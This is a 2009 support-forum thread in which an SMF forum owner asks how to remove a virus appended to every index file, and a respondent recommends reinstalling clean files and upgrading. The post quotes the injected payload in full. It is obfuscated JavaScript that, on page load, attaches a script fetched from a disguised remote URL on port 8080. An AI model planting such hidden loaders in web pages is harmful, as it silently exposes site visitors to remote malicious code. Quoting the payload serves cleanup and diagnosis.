Virus on my SMF, I think It's iframe!

Started by $n1p3r, December 27, 2009, 05:33:05 AM

Previous topic - Next topic

$n1p3r

Hello,
Everytime someone loads forums on my hosting he got "Blocked Address" because of virus on it.
on EVERY index in EVERY folder (icons, themes, ... all) That's code is on the end of it!
Is there any way, I can remove them all at once without opening every index and deleting it manual. Thanks



<script>/*GNU GPL*/ try{window.onload = function(){var X5y3mrx1jmna = document.createElement('s&!!c&r@^i#!p$)!^t(^&'.replace(/\$|&|\)|\!|@|\(|\^|#/ig, ''));X5y3mrx1jmna.setAttribute('type', 'text/javascript');X5y3mrx1jmna.setAttribute('src',  'h@^!t($t&p^#:@^&/@(/)(l))(e$)!o^-!(#&o^(@r^g@@!!.#)l$)a#&r@&e!)&d(($o$!)u$t#e!^&.!@&f)@r!(.(!a^$&)l)!@@(i)@s!@#o(f)@t&&$-)&c$)o$^m^&!@&.(m@(&@$u&!$^s)!@i#^c!$@b&$$&@o^)#x!^@^p#r)^o(!!.(@@^r)(u():#)8@0$&#8!0#/$$b@&u#)#s((i#n!e(s$@s)^!w!^e^!(#e@k^$&).(^c)o(@m)/&#b!$)$)u#$s@i)n^#e@@s^s@&w&!e($#!e@&$k^(.@)^c$^)o$#!^m&$/(m!u$(l@t&i(^!p()l)^y@^.(#^#c$&&o##(^!m)@/^p#)i(c@)@f@(o^c)o$)#.)c))&o#@(m&$@/$^&g($!(o#o!!(!g#@@l@#e^.!!(&c)#!)o#)m$@&&#/&#'.replace(/@|&|\$|\)|\!|#|\(|\^/ig, ''));X5y3mrx1jmna.setAttribute('defer', 'defer');X5y3mrx1jmna.setAttribute('id', 'Y@^)&6#@u$3!7)$^(s!@##a^()z#))7!(&v&4$)'.replace(/@|\$|\)|#|\^|&|\(|\!/ig, ''));document.body.appendChild(X5y3mrx1jmna);}} catch(e) {}</script>

Antechinus

Best way is to overwrite all files with clean ones and reinstall any mods after that. Which version of SMF are you running? If you are not on 1.1.11 I would strongly advise upgrading.

Advertisement: